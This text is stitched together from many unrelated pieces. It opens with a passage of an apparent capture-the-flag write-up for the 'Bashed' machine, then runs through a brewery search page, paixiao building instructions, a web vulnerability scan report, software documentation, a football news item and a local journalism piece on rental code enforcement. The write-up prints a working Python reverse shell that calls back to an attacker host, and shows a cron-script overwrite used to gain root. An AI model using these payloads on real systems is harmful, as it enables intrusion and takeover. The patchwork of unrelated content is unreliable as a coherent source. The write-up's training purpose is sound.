(scriptmanager : scriptmanager) NOPASSWD: ALL
Using sudo we can run any commands as the user scriptmanager
, let’s try:
www-data@bashed:/home/arrexel# sudo su scriptmanager
sudo: no tty present and no askpass program specified
I guess we are going to need a real shell though and not just a webshell :))
Fortunately, the machine has Python installed, we can use that to get a reverse shell on the machine!
www-data@bashed:/home/arrexel# python --version
Python 2.7.12
Upgrade to a Reverse Shell
In the PHP webshell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
On the host:
$ nc -lvp 4242
Connection from <IP_ADDRESS>:33404
www-data@bashed:/var/www/html/dev$ whoami
whoami
www-data
Note: switching to the scriptmanager
user cannot be done with sudo su scriptmanager
because it requires the password of the current user that we don’t have. Bypass this limitation by using the -u
option to run a command as a specified user:
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami
whoami
scriptmanager
Privesc
Alright! Let’s explore what this scriptmanager
user has access to (apparently, not much):
scriptmanager@bashed:~$ find / -user scriptmanager 2>/dev/null
find / -user scriptmanager 2>/dev/null
/scripts
/scripts/test.py
/home/scriptmanager
/home/scriptmanager/.profile
/home/scriptmanager/.bashrc
/home/scriptmanager/.nano
/home/scriptmanager/.bash_history
/home/scriptmanager/.bash_logout
Check the /scripts
directory:
scriptmanager@bashed:/var/www/html/dev$ ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Nov 3 13:07 test.txt
scriptmanager@bashed:/scripts$ cat test.txt
testing 123!
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
There’s two files:
test.py
which we own and can modify. It’s a simple script that writes “testing 123!” totest.txt
test.txt
which is created bytest.py
owned by root
The funny thing is that test.txt is owned by root, that shouldn’t happen if the script is executed by scriptmanager right? Which means that test.py
is run as root. The other thing to notice is the last modified date of test.txt
: it’s updated every minute. So there’s probably a crontab running somewhere, which executes test.py
as root. If we modify test.py
to spawn a shell, we should get a root shell!
I checked the crontab from scriptmanager just in case, but it’s empty:
scriptmanager@bashed:/scripts$ crontab -l
crontab -l
no crontab for scriptmanager
Modify test.py
to run a reverse shell on port 2424
this time:
scriptmanager@bashed:/scripts$ cat << EOF > test.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",2424));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
EOF
Run a listener on your host and wait for the cron tab to trigger. Receive a root shell /o/
[ bamboozled-goose ~ ]# nc -lvp 2424
Connection from <IP_ADDRESS>:37298
root@bashed:/scripts# id
id
uid=0(root) gid=0(root) groups=0(root)
Takeaways
- Why tf would you let “development” webshell files on your server
- Don’t let scripts writable by someone else that root run as root


Night Out
Undecided on what to do tonight?
Let us help!
Search for a Brewery/Event
Brewery
Event
Tickets
Please input a city name onto the search bar to find a brewery/event.


Chapter 4 Paixiao
4.1 Overview
The theme of 2019 MIT STEAM Camp is wind and perhaps an exploration of climate data and wind instruments can faithfully incorporate the theme as well as help inform the public about information to which they may not have been exposed. This chapter describes a bit about the paixiao, a wind instrument native to the region around Hong Kong, and presents instruction for construction of a DIY version that can be created inexpensively and with a high degree of customization.
4.2 History and Significance
The paixiao is a traditional wind instrument from China. This type of pan flute was traditionally constructed from bamboo, a common grass from that region. The earliest complete paixiao, an important instrument used in entertainment, military, and orchestra venues, was dated to around 522BC. (Britannica 2019)
4.3 Anatomy
The flute is constructed from a series of (traditionally) bamboo pipes, or short hollow segements of a rigid material. Bamboo, a type of grass, has large, hollow, rigid segments that are ideal for this type of instrument. The pipes may be joined in several ways, including twine or other natural fibers. For this activity, we are substituting bamboo for PVC pipes and natural fibers for common adhesives.
4.4 Science
The science of any musical instrument is complicated and a truly good explanation requires the understanding of many distinct concepts. Very briefly, the paixiao functions properly when air is passed over the open end of a pipe. The air passes down into the pipe and, if everything is correct, the pipe produces a clear note with a frequency closely correlated with the length of the pipe. For more information on panflutes, visit Sarah Tulga. Mark Shepard also has some information on the science of flutes.
4.5 Construction
The paixiao will be constructed from three to five PVC components seen in Figure 4.1. The length (L) of each pipe (A) is variable and determines the frequency of the emitted note. Each pipe is sealed with a small amount of hot glue (B) and a small coin (C). A small bead of hot glue (B) should be applied along the length of the joint between each pipe. The top of each pipe should be sanded smooth for comfort and level at the time of assembly. In other words, the mouthpiece of each pipe should be level with each of the neighboring pipes.
Assembly steps:
Cut PVC pipes to the desired length.
Sand each pipe smooth on each end to remove excess plastic and improve comfort when playing.
For each pipe, use a hot glue gun to apply a thin bead of glue around one end and attach a small coin to seal the pipe end.
Lay all pipes down and align the mouthpiece ends.
Apply a small bead of hot glue along the areas between each pipe.
Hold the pipes together briefly until the hot glue solidifies.
Decorate your paixiao if desired.
Your PVC paixiao should now be fully assembled. Wipe down the pipes with an alcohol pad before attempting to play!
4.6 Tuning
As with the PVC didgeridoo, pipe length determines the frequency of the note. Some recommended pipe lengths and associated notes are provided to get you started, but feel free to experiment and create your own custom tuning! These tuning suggestions are from Phil Tulga.
| Key | Length (mm) |
|---|---|
| C | 154 |
| D | 136 |
| E | 120 |
| G | 98 |
| A | 87 |
4.7 Play
To play the paixiao, hold the flute perpendicular to the floor in front of your mouth. You will need to blow air across, and slightly down into, each pipe to achieve a clear note. Practice this method and try alternating between tight and loose lips until you find the “sweet spot” that results in a loud, clear sound.
You can watch this video to pick up some paixiao performance tips: Paixiao.
References
Britannica. 2019. “Paixiao.” britannica.com. https://www.britannica.com/art/paixiao.


Project : -------------------------
Build Definition : ------------------------------
Completed on : Sat Aug 26 2017 00:20:55 GMT+0530 (Sri Lanka Standard Time)
Application Error Disclosure |
|
|
Description |
This page contains an error/warning message that may disclose sensitive information like the location of the file that produced the unhandled exception. This information can be used to launch further attacks against the web application. The alert could be a false positive if the error message is found inside a documentation page. |
|
URL |
https://localhost/Account/Register |
|
Method |
POST |
|
Evidence |
HTTP/1.1 500 Internal Server Error |
|
URL |
https://localhost/Account/Login |
|
Method |
POST |
|
Evidence |
HTTP/1.1 500 Internal Server Error |
|
Instances |
2 |
|
Solution |
Review the source code of this page. Implement custom error pages. Consider implementing a mechanism to provide a unique error reference/identifier to the client (browser) while logging the details on the server side and not exposing them to the user. |
|
Reference |
|
|
CWE Id |
200 |
|
WASC Id |
13 |
|
Source ID |
3 |
X-Frame-Options Header Not Set |
|
|
Description |
X-Frame-Options header is not included in the HTTP response to protect against 'ClickJacking' attacks. |
|
URL |
https://localhost/Home/Contact |
|
Method |
GET |
|
Parameter |
X-Frame-Options |
|
URL |
https://localhost/ |
|
Method |
GET |
|
Parameter |
X-Frame-Options |
|
URL |
https://localhost/Home/About |
|
Method |
GET |
|
Parameter |
X-Frame-Options |
|
Instances |
3 |
|
Solution |
Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. ALLOW-FROM allows specific websites to frame the web page in supported web browsers). |
|
Reference |
http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx |
|
CWE Id |
16 |
|
WASC Id |
15 |
|
Source ID |
3 |


Guidelines
Hosting Guidelines
These are hosting guidelines for ACF tournaments. Please refer to them for help hosting and reach out to the ACF Mirror Coordinator if you have any questions.
Packet Submission Guidelines
For ACF tournaments where your team is submitting a packet, please refer to the ACF Packet Submission Guidelines.
Question Writing Guidelines
ACF member Jerry Vinokurov wrote the following guide to writing questions, which may be of use for new – or old! – writers.


My Style is off the Hook
April 26, 2014
Thinking styles are positive habits that contribute to better critical thinking, problem-solving and decision-making. While no one thinking style is better than another, a balance of the various types results in better decision-making.
Which style are you?
- Concrete Sequential (CS)
- Abstract Random (AR)
- Abstract Sequential (AS)
- Concrete Random (CR)
To figure what style you are, visitedthis siteand take a test.
Indivdually is want makes us different and special amongs others. We all like different things, learn differently, and developed different habits. To thrive and continue thriving, we learned our pro and cons. Learning your "style of learning" is the first step into developing into the person you want to be. We must all challenge ourselves but we don't need learning to be challenging. So find your learning style and push yourselves.


Coffee!
Roast
All
Light
Medium
Dark
Coffee Name
Submit
Add a Coffee
Roast
Light
Medium
Dark
Coffee Name
Submit


Youtube Admin Portal
Enter Email Here
Enter Password Here
Enter Channel Name Here
Enter Channel Link Here
Login


|
Asylo
|
Defines an interface for assertion authorities that generate assertion requests and verify assertions. More...
#include <enclave_assertion_verifier.h>
Public Member Functions | |
| virtual Status | CreateAssertionRequest (AssertionRequest *request) const =0 |
Creates an assertion request compatible with this verifier's identity type and authority type and places the result in request . More... | |
| virtual StatusOr< bool > | CanVerify (const AssertionOffer &offer) const =0 |
Indicates whether the assertion offered in offer can be verified by this verifier. More... | |
| virtual Status | Verify (const std::string &user_data, const Assertion &assertion, EnclaveIdentity *peer_identity) const =0 |
| Verifies an assertion that is compatible with this verifier's identity type and authority type. More... | |
| Public Member Functions inherited from asylo::EnclaveAssertionAuthority | |
| virtual | ~EnclaveAssertionAuthority ()=default |
| virtual Status | Initialize (const std::string &config)=0 |
Initializes this assertion authority using the provided config . More... | |
| virtual bool | IsInitialized () const =0 |
| Indicates whether this assertion authority has been initialized successfully via a call to Initialize(). More... | |
| virtual EnclaveIdentityType | IdentityType () const =0 |
| Gets the enclave identity type handled by this assertion authority. More... | |
| virtual std::string | AuthorityType () const =0 |
| Gets the type of this assertion authority. More... | |
Additional Inherited Members | |
| Static Public Member Functions inherited from asylo::EnclaveAssertionAuthority | |
| static StatusOr< std::string > | GenerateAuthorityId (const EnclaveIdentityType &identity_type, const std::string &authority_type) |
Gets a unique identifier for an EnclaveAssertionAuthority with the given identity_type and authority_type . More... | |
| Protected Member Functions inherited from asylo::EnclaveAssertionAuthority | |
| bool | IsCompatibleAssertionDescription (const AssertionDescription &description) const |
Indicates whether description describes an assertion that is compatible with this authority. More... | |
Defines an interface for assertion authorities that generate assertion requests and verify assertions.
EnclaveAssertionVerifier cannot be instantiated; it is intended to be derived from by classes that implement the EnclaveAssertionVerifier interface for a particular identity type and authority type.
Derived classes of EnclaveAssertionVerifier must:
Derived classes of EnclaveAssertionVerifier must also implement virtual methods presented by EnclaveAssertionAuthority.
|
pure virtual |
Indicates whether the assertion offered in offer
can be verified by this verifier.
offer
cannot be fulfilled. Returns a non-OK Status if the verifier is not initialized or if an internal error occurs while attempting the operation. Implemented in asylo::SgxIntelEcdsaQeRemoteAssertionVerifier, asylo::SgxAgeRemoteAssertionVerifier, asylo::NullAssertionVerifier, and asylo::SgxLocalAssertionVerifier.
|
pure virtual |
Creates an assertion request compatible with this verifier's identity type and authority type and places the result in request
.
| [out] | request | The generated request. |
Implemented in asylo::SgxIntelEcdsaQeRemoteAssertionVerifier, asylo::SgxAgeRemoteAssertionVerifier, asylo::NullAssertionVerifier, and asylo::SgxLocalAssertionVerifier.
|
pure virtual |
Verifies an assertion that is compatible with this verifier's identity type and authority type.
The verification operation verifies that the assertion
's identity claim is valid, and also checks that the assertion is bound to user_data
. If verification succeeds, returns an OK Status and extracts the peer's identity into peer_identity
. The caller cannot make any assumptions about the contents of peer_identity
if verification fails.
| user_data | User-provided binding data. | |
| assertion | An assertion to verify. | |
| [out] | peer_identity | The identity extracted from the assertion. |
Implemented in asylo::SgxIntelEcdsaQeRemoteAssertionVerifier, asylo::SgxAgeRemoteAssertionVerifier, asylo::NullAssertionVerifier, and asylo::SgxLocalAssertionVerifier.


This package implements an algorithm described by this paper. The input format is the same as for the Mallet topic modeling toolkit.
This is not the code that was used for experiments in that paper. The Python implementation we used can be found at Yoni Halpern's site.
The spectral algorithm operates in several phases:
To begin you must import documents to Mallet feature-sequence format. See the Mallet documentation for details. Note that this package includes a full Mallet distribution. You can use the command bin/anchor import-file ... to import documents as you normally would. Here we use a version of the CMU 2008 political blog corpus.
The following command line will train a model. Sections below will explain the options.
bin/anchor train-anchor --input blogs.sequences --num-topics 50 --num-random-projections 1000 --projection-density 0.01 --min-docs 100 --topics-file blogs.t50.topics
The output tracks the first three steps outlined above. We first have to calculate the matrix of word-word co-occurrences. We then select 50 anchor words, which are printed in order. Because this step modifies the word-word co-occurrences in place, we generate the original matrix again. Finally, we look at each word (including the anchor words) in turn, and calcuate the probability of topics given that word.
Every 100 words, we display some information about the current word. The first column is the word ID in the vocabulary. The second column is the number of exponentiated gradient iterations we used. The third column is the log of the squared loss objective. We want this loss to be close to zero, so its log should be large and negative, around -8 or lower. The fourth column is the Shannon entropy of the topic distribution we found for that word. Lower numbers indicate a more concentrated distribution, where the word has high probability in only a few topics. A higher number indicates that the word has more uniform probability, not preferring any one topic. The theoretical maximum entropy is the log of the number of topics. The last column is the entropy of the distribution we found divided by this maximum entropy. Values close to 1.0 indicate that we found a mostly uniform distribution.
This closeness-to-uniform metric can be used to diagnose model fit. If many words, especially words with low word IDs close to the beginning of the vocabulary (which tend to be high frequency), are close to uniform, the topics will all look like a list of the high frequency words. In this case, increasing the number of topics is a good idea.
This next command will write a file containing document-topic proportions to a tab-delimited file. Values for all topics are included, unlike the standard (sparse) Mallet output. You can also write a Mallet Gibbs state file that can be used to initialize a sampler, see bin/anchor doc-topics --help for details.
bin/anchor doc-topics --input blogs.sequences --num-topics 50 --topics-file blogs.t50.topics --doc-topics blogs.t50.doc-topics
When we train by Gibbs sampling, the size of the corpus is the most significant factor in performance. If we double the number of tokens in the documents, we double our running time. When we train with spectral inference, the size of the vocabulary (the number of distinct word types) is the most significant factor. The size of the corpus matters, but it only affects the initial co-occurrence-finding step and the doc-topic step, if used. As a result, we can use the spectral algorithm on very large corpora.
We use random projections to allow for large vocabularies without running out of memory. The word co-occurrence matrix that we calculate from the documents requires memory proportional to the square of the number of distinct words. If we want to use vocabularies larger than about 4000 words, we need to find a way to compress this matrix.
A random projection is a way of representing high dimensional points in a lower dimensional space, such that distances are preserved. Instead of a square matrix, we create a tall skinny matrix. The command line parameter --num-random-projections determines the number of columns in the resulting matrix. Based on some initial experiments, around 1000 random projections seems to be a good number, but this should be used only as a rough estimate.
A second parameter of the random projections is the density of the random projection. Using sparser projections may improve memory use and speed with which we process documents. Use the --projection-density parameter to set the density of projections. If this parameter is set to the special value 1.0 (ie every cell is non-zero) we use a dense Gaussian random matrix. Otherwise, we use a sparse, discrete random matrix. For a value of 0.01 with 1000 random projections, then exactly 10 entries in each row will be non-zero (this is a reasonable value, with the same caveats as above).
Note that unlike other algorithms, the spectral algorithm is deterministic. Running the algorithm multiple times should give you the same topics. The random projection step means that the algorithm is not strictly deterministic, but if you use enough random projections, the resulting model should not change significantly from run to run.
In most cases we want to consider a subset of the vocabulary as possible anchor words. The algorithm looks for words that occur only in the context of a single topic. We can trivially satisfy this criterion by selecting an extremely rare word that only occurs in a single document. But this word will produce an extremely noisy topic, because we have only one document from which to estimate the distribution of words that occur with that anchor.
A simple way to pick more useful anchor words is to restrict attention to words that occur in many documents. Note that this restriction does not affect the overall vocabulary -- we can still include rare words in the topics, we just don't consider them as anchors. We use the --min-docs argument to define a document frequency cutoff. If a word does not occur at least once in this number of documents, we do not consider it as a possible anchor word.
Unlike standard methods for topic model training, the order of topics is not random. The anchor finding process begins by selecting the word whose distribution over co-occurring words is most concentrated (see the paper for a more technical description). For each subsequent word the algorithm chooses the word that is most distinct and different from the previously selected words. As a result, the first topics may be more narrowly focused than topics later in the list of topics.
If we ask for 10 topics, and then run the program again asking for 20 topics, the first 10 topics of the 20-topic model will have the same anchor words as the topics in the 10-topic model. The topic distributions associated with those anchors may be different, but the anchors will be the same.


Tottenham sack manager Pochettino - club statement
Tottenham Hotspur have sacked manager Mauricio Pochettino after a poor run of results, the Premier League club said in a statement on Tuesday.
LONDON: Tottenham Hotspur have sacked manager Mauricio Pochettino after a poor run of results, the Premier League club said in a statement on Tuesday.
"We were extremely reluctant to make this change and it is not a decision the board has taken lightly, nor in haste. Regrettably domestic results at the end of last season and beginning of this season have been extremely disappointing," Chairman Daniel Levy said.
(Reporting by Christian Radnedge; Editing by Toby Davis)


Whassup peopls. Dis be our homiepage.
We needed an html page for the icon... Hope you like
watermelon
you dirty-rotten scoundrels.


Mario Dobernig
In 2011, Mario conducted Stravinsky’s Histoire du Soldat for the Woodend Winter Arts Festival, which was broadcasted on ABC classic FM. Mario has conducted ensembles at the University of Melbourne, the Victorian College of the Arts Symphony Orchestra, the Youth Philharmonic Melbourne, the Ballarat Symphony, the Ballarat Wind Orchestra, the Preston Symphony and the Kooyong Chamber Players. Since 2012 Mario is the resident conductor of the Preston Symphony and the Musical Director of Victoria Chorale. He really enjoys making music with the Barrier Reef Orchestra.


OSSL_PARAM_allocate_from_text - OSSL_PARAM construction utilities
#include <openssl/params.h>
int OSSL_PARAM_allocate_from_text(OSSL_PARAM *to,
const OSSL_PARAM *paramdefs,
const char *key, const char *value,
size_t value_n,
int *found);
With OpenSSL before version 3.0, parameters were passed down to or retrieved from algorithm implementations via control functions. Some of these control functions existed in variants that took string parameters, for example EVP_PKEY_CTX_ctrl_str(3).
OpenSSL 3.0 introduces a new mechanism to do the same thing with an array of parameters that contain name, value, value type and value size (see OSSL_PARAM(3) for more information).
OSSL_PARAM_allocate_from_text() uses key to look up an item in paramdefs. If an item was found, it converts value to something suitable for that item's data_type, and stores the result in to->data as well as its size in to->data_size. to->key and to->data_type are assigned the corresponding values from the item that was found, and to->return_size is set to zero.
to->data is always allocated using OPENSSL_zalloc(3) and needs to be freed by the caller when it's not useful any more, using OPENSSL_free(3).
If found is not NULL, *found is set to 1 if key could be located in paramdefs, and to 0 otherwise.
OSSL_PARAM_allocate_from_text() takes note if key starts with "hex", and will only use the rest of key to look up an item in paramdefs in that case. As an example, if key is "hexid", "id" will be looked up in paramdefs.
When an item in paramdefs has been found, value is converted depending on that item's data_type, as follows:
If key didn't start with "hex", value is assumed to contain value_n decimal characters, which are decoded, and the resulting bytes become the number stored in the to->data storage.
If value starts with "0x", it is assumed to contain value_n hexadecimal characters.
If key started with "hex", value is assumed to contain value_n hexadecimal characters without the "0x" prefix.
If value contains characters that couldn't be decoded as hexadecimal or decimal characters, OSSL_PARAM_allocate_from_text() considers that an error.
If key started with "hex", OSSL_PARAM_allocate_from_text() considers that an error.
Otherwise, value is considered a C string and is copied to the to->data storage. On systems where the native character encoding is EBCDIC, the bytes in to->data are converted to ASCII.
If key started with "hex", value is assumed to contain value_n hexadecimal characters, which are decoded, and the resulting bytes are stored in the to->data storage. If value contains characters that couldn't be decoded as hexadecimal or decimal characters, OSSL_PARAM_allocate_from_text() considers that an error.
If key didn't start with "hex", value_n bytes from value are copied to the to->data storage.
OSSL_PARAM_allocate_from_text() returns 1 if key was found in paramdefs and there was no other failure, otherwise 0.
The parameter descriptor array comes from functions dedicated to return them. The following OSSL_PARAM(3) attributes are used:
All other attributes are ignored.
The data_size attribute can be zero, meaning that the parameter it describes expects arbitrary length data.
Code that looked like this:
int mac_ctrl_string(EVP_PKEY_CTX *ctx, const char *value)
{
int rv;
char *stmp, *vtmp = NULL;
stmp = OPENSSL_strdup(value);
if (stmp == NULL)
return -1;
vtmp = strchr(stmp, ':');
if (vtmp != NULL)
*vtmp++ = '\0';
rv = EVP_MAC_ctrl_str(ctx, stmp, vtmp);
OPENSSL_free(stmp);
return rv;
}
...
for (i = 0; i < sk_OPENSSL_STRING_num(macopts); i++) {
char *macopt = sk_OPENSSL_STRING_value(macopts, i);
if (pkey_ctrl_string(mac_ctx, macopt) <= 0) {
BIO_printf(bio_err,
"MAC parameter error \"%s\"\n", macopt);
ERR_print_errors(bio_err);
goto mac_end;
}
}
Can be written like this instead:
OSSL_PARAM *params =
OPENSSL_zalloc(sizeof(*params)
* (sk_OPENSSL_STRING_num(opts) + 1));
const OSSL_PARAM *paramdefs = EVP_MAC_settable_ctx_params(mac);
size_t params_n;
char *opt = "<unknown>";
for (params_n = 0; params_n < (size_t)sk_OPENSSL_STRING_num(opts);
params_n++) {
char *stmp, *vtmp = NULL;
opt = sk_OPENSSL_STRING_value(opts, (int)params_n);
if ((stmp = OPENSSL_strdup(opt)) == NULL
|| (vtmp = strchr(stmp, ':')) == NULL)
goto err;
*vtmp++ = '\0';
if (!OSSL_PARAM_allocate_from_text(¶ms[params_n],
paramdefs, stmp,
vtmp, strlen(vtmp), NULL))
goto err;
}
params[params_n] = OSSL_PARAM_construct_end();
if (!EVP_MAC_CTX_set_params(ctx, params))
goto err;
while (params_n-- > 0)
OPENSSL_free(params[params_n].data);
OPENSSL_free(params);
/* ... */
return;
err:
BIO_printf(bio_err, "MAC parameter error '%s'\n", opt);
ERR_print_errors(bio_err);
OSSL_PARAM(3), OSSL_PARAM_int(3)
Copyright 2019-2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at https://www.openssl.org/source/license.html.


Determine if files are xls or xlsx (or from the xlsx family).
excel_format(guess = TRUE)
is used by read_excel()
to
determine format. It draws on logic from two lower level functions:
format_from_ext()
attempts to determine format from the file extension.
format_from_signature()
consults the file signature or "magic
number".
File extensions associated with xlsx vs. xls:
xlsx: .xlsx
, .xlsm
, .xltx
, .xltm
xls: .xls
File signatures (in hexadecimal) for xlsx vs xls:
xlsx: First 4 bytes are 50 4B 03 04
xls: First 8 bytes are D0 CF 11 E0 A1 B1 1A E1
excel_format(path, guess = TRUE) format_from_ext(path) format_from_signature(path)
| path | Path to the xls/xlsx file. |
|---|---|
| guess | Logical. If the file extension is absent or not recognized, this controls whether we attempt to guess format based on the file signature or "magic number". |
Character vector with values "xlsx"
, "xls"
, or NA
.
files <- c( "a.xlsx", "b.xls", "c.png", file.path(R.home("doc"), "html", "logo.jpg"), readxl_example("clippy.xlsx"), readxl_example("deaths.xls") ) excel_format(files)#> [1] "xlsx" "xls" NA NA "xlsx" "xls"


He cited code violations in seven apartments, five of which required smoke detectors to be repaired, replaced or installed, according to the Notice of Violation. Mullins scheduled a reinspection of Building 12 for Feb. 27, 2017, at 9 a.m. to ensure that the violations were corrected.
Sixteen hours before the scheduled reinspection, Athens Fire Department was dispatched to the Carriage Hill Apartments. Building 12 was on fire.
Joe Timmerman
One of the Campus Heights Apartment buildings (formerly called Carriage Hill Apartments) on Tuesday, May 24, in Athens, Ohio. A fire on Feb. 12, 2017, left Building 12, which stood on the west side of the complex, uninhabitable and eventually led to its demolition.
Several occupants had to be removed from the building, according to the Athens Fire Department report filed Feb. 26, 2017. No casualties were reported. The cause of the Carriage Hill Apartment fire was determined to be electrical.
Athens Code Enforcement Office’s 2017 Annual Report claimed “the safe evacuation” of Carriage Hill Apartment residents could be attributed to the office’s oversight. That year, the office cited an increased number of properties, including Building 12, for code violations, leading to a greater need for reinspections. The office attributed the increase in reinspections to “improved safety of rental units” in the annual report.
“This was apparent in the recent Carriage Hill fire, where the week before rental inspections had just been conducted,” the 2017 Annual Report said. “It was noted that all the smoke detectors were in operation.”
However, there is no official record that the five cited units in Building 12 had functioning smoke detectors at the time of the fire. Mullins was scheduled to reinspect Building 12 on Feb. 27, but never could because the building was so heavily damaged by the fire.
To Solveig Spjeldnes, 1st Ward representative on the Athens City Council, the fire that destroyed Building 12 is a symptom of a larger problem: Enforcement of the city code can fall short in protecting tenant safety.
“I don't know why we care if the renters took their trash out or not,” Spjeldnes said. “That's going to change from year to year, possibly from month to month. It seems sort of irrelevant. Whereas, ‘Oh, the (landlord) didn't bother to fix their electrical wiring and so the place burned.’ That's really important.”
The Athens Code Enforcement Office “strive(s) to promote and maintain a safe and desirable living and working environment throughout the city,” according to its 2020 Annual Report. However, an open code enforcement officer position and “not very effective” penalties for landlords to remedy code violations create challenges for the Code Office to ensure safe living conditions in rental properties.
Limited staffing
The Athens Code Enforcement Office, located at 28 Curran Dr., is situated within Athen’s West Side neighborhood. It is a rectangular structure with a well-kept lawn. Inside the office, sliding shelves contain inspection reports for more than 5,300 rental units in the city of Athens.
Joe Timmerman
The Office of Code Enforcement is located at 28 Curran Drive alongside the Athens Water Department on Tuesday, May 24 in Athens, Ohio.
Code Enforcement has many duties, but rental inspections require a significant amount of its time because the office aims to inspect each rental property yearly. That goal requires each code officer to conduct between five and 15 rental inspections per day.
Yet, for over a year, the Athens Code Enforcement Office has been operating with a vacant officer position.
Athens Code Enforcement Director David Riggs said because of understaffing, the three current code officers will not be able to inspect all the Athens rental units this year.
For six-months, properties were not inspected due to the COVID-19 pandemic. The lack of staff further contributes to this delay.
“We’ll get to about 75% of (rental) units,” Riggs said. “We are trying to concentrate on the units that have not undergone an inspection in more than a year.”
If properties fail their routine inspections, code officers must then conduct a reinspection approximately a month later. Some properties undergo multiple reinspections.
The need for reinspections is so common that, according to the Code Enforcement Office’s 2018 Annual Report, the entire fourth week of every month was spent completing reinspections from the previous month.
From late 2018 to early this year, 23% of properties failed their inspections. 42% of properties passed, and a majority of the remaining properties were not able to be inspected due to the COVID-19 pandemic, according to data from the Code Enforcement Office.
Lydia Colvin
The number of rental reinspections outlined in the 2020 Code Enforcement Office’s Annual Report varies between pages, which the office attributes to data taken from the wrong row. However, the office confirmed via email that the data on page 10 were correct.
Common code violations
Common reasons for inspection failure include broken outlets, smoke detectors and bathroom fixtures, according to previous Code Enforcement reports and Athens Code Enforcement Director David Riggs. Riggs also said those are sometimes due to tenants’ actions. If a tenant unintentionally sets off a smoke detector, they might turn it off by disconnecting the device. If the tenants do not re-install the detector, Riggs said, they are not only putting their unit at risk of receiving a code violation, but they also risk getting hurt.
According to the 2018 Annual report, Code found that 5% to 7% of the approximately 28,000 inspected smoke or carbon monoxide detectors were disconnected by occupants.
“The tenants really need to take a little responsibility for themselves,” Riggs said. “They’re actually sacrificing their safety when they disconnect those things.”
Other reasons for inspection failures have included carbon monoxide leaks and bug infestations, but they are less common.
“In those cases, there really isn’t much for the tenant to do,” Riggs said.
The Ohio Revised Code establishes that it is the landlord’s responsibility to “make all repairs and do whatever is reasonably necessary to put and keep the premises in a fit and habitable condition.”
Other responsibilities of the code enforcement office
Along with rental inspections, code enforcement officers are tasked with overseeing permits for the zoning, housing and building code, licensing and registration for contractors, vendors and peddlers, and nuisance complaints, according to the 2020 Annual Report.
Riggs said even though the inspections are conducted once a year, the code office responds to complaints from residents, renters and others as they are received.
In 2014, the amount of complaints/investigations totaled 88, while from 2016 to 2019, there were anywhere from 814 to 973 complaints filed yearly, according to the 2020 Annual Report. In 2020, 558 complaints were filed with the code enforcement office. These complaints included housing, graffiti, solid waste and other issues.
Focus on rental inspections and having a limited staff “results in the Office of Code Enforcement operations being complaint-driven,” according to the agency’s 2018 Annual Report.
Damon Krane, Athens renter and housing justice activist with United Athens County Tenants, believes the complaint-driven operations of the office perpetuate an ineffective cycle.
“If their office is complaint-driven, what I think this suggests – and, this has been my experience, too – is that if a tenant complains about conditions and gets Code Enforcement to come out, that's when Code Enforcement actually conducts a more thorough inspection,” Krane said. “The only way they can have time to conduct more thorough inspections in response to complaints is if they don't spend time on everything else. That doesn't seem like the best way to enforce the city housing code.”
Joe Timmerman
Damon Krane, a founding member of United Athens County Tenants, stands in front of the West State Street Cemetery alongside 56 First Street, a housing unit he rented for six months in 2008, on Wednesday, May 25, in Athens, Ohio.
Riggs said the Code Enforcement Office will do “special inspections” if there is a complaint, but students often call as a last resort.
“We really want the students to know that they can contact us if they have a problem,” RIggs said. “We typically get them this time of year as the lease is ending. Students will get frustrated and call us as a last resort where they really should have called us earlier.”
For tenants experiencing problems with their rental unit, Riggs suggested tenants call their landlord first. If the issue is not fixed within a week or so, Riggs said, the tenant should call the Code Enforcement Office to file a complaint and request the agency conduct another inspection.
Limited penalties for code violations
Penalties for landlords who do not keep their rentals up to code are limited. In 2019, Athens City Council voted in favor of an ordinance that increased the penalty for continually unaddressed code violations.
Property owners, their agents “and/or the occupant(s), as appropriate” have 30 days after a notice is issued to correct cited violations under Athens City Code Title 29.02.03, section D. If those 30 days pass and violations have not been corrected, the code office will issue an "order to comply," which grants violators another 30 days to correct the violations before the code office can “institute appropriate proceedings” in court.
Activist and renter Damon Krane believes Athens’ month-long correction period is too lengthy because tenants can be endangered if housing conditions are not up to code. Law enforcement’s response times for code violations are much slower than for other crimes; however, Krane noted similar unsafe conditions are created by all infractions.
 “They find you violating the law, and they cite you for it.”
If after 60 days the violation is not corrected, the case gets referred to the law office. However, there is no guarantee that violators will be found guilty. Athens City Code Title 29.09.02 establishes that first-time offenders will be “deemed guilty of a minor misdemeanor and fined not more than $100.” The more often the offense is committed, the more severe the punishment. The fourth offense in a two-year period “shall be deemed a misdemeanor of the second degree, punishable by not more than 90 days in jail and a fine of not more than $750.00.”
It is unclear, however, if such penalties create substantial enough incentive for violations to be corrected, and if they are enforced in a way that would deter continuous violations.
“If (landlords) don't care about the fine because it's the cost of doing business and it doesn't matter, then that's not very effective,” Councilwoman Solveig Spjeldnes, D-1st Ward, said. “So it needs consequences. And, enforcement is a huge issue. One of the challenges is that if you don't have an effective enforcement mechanism, you're kind of wasting your time.”
Krane believes legislative change can be the first step in better enforcing safety standards in rental housing units.
“We need code enforcement to be adequately staffed, which means we need the city to devote more funds to code enforcement – City Council specifically,” Krane said. “And, we need the city law office to also actually enforce the housing code.”
Implications of an updated inspection process
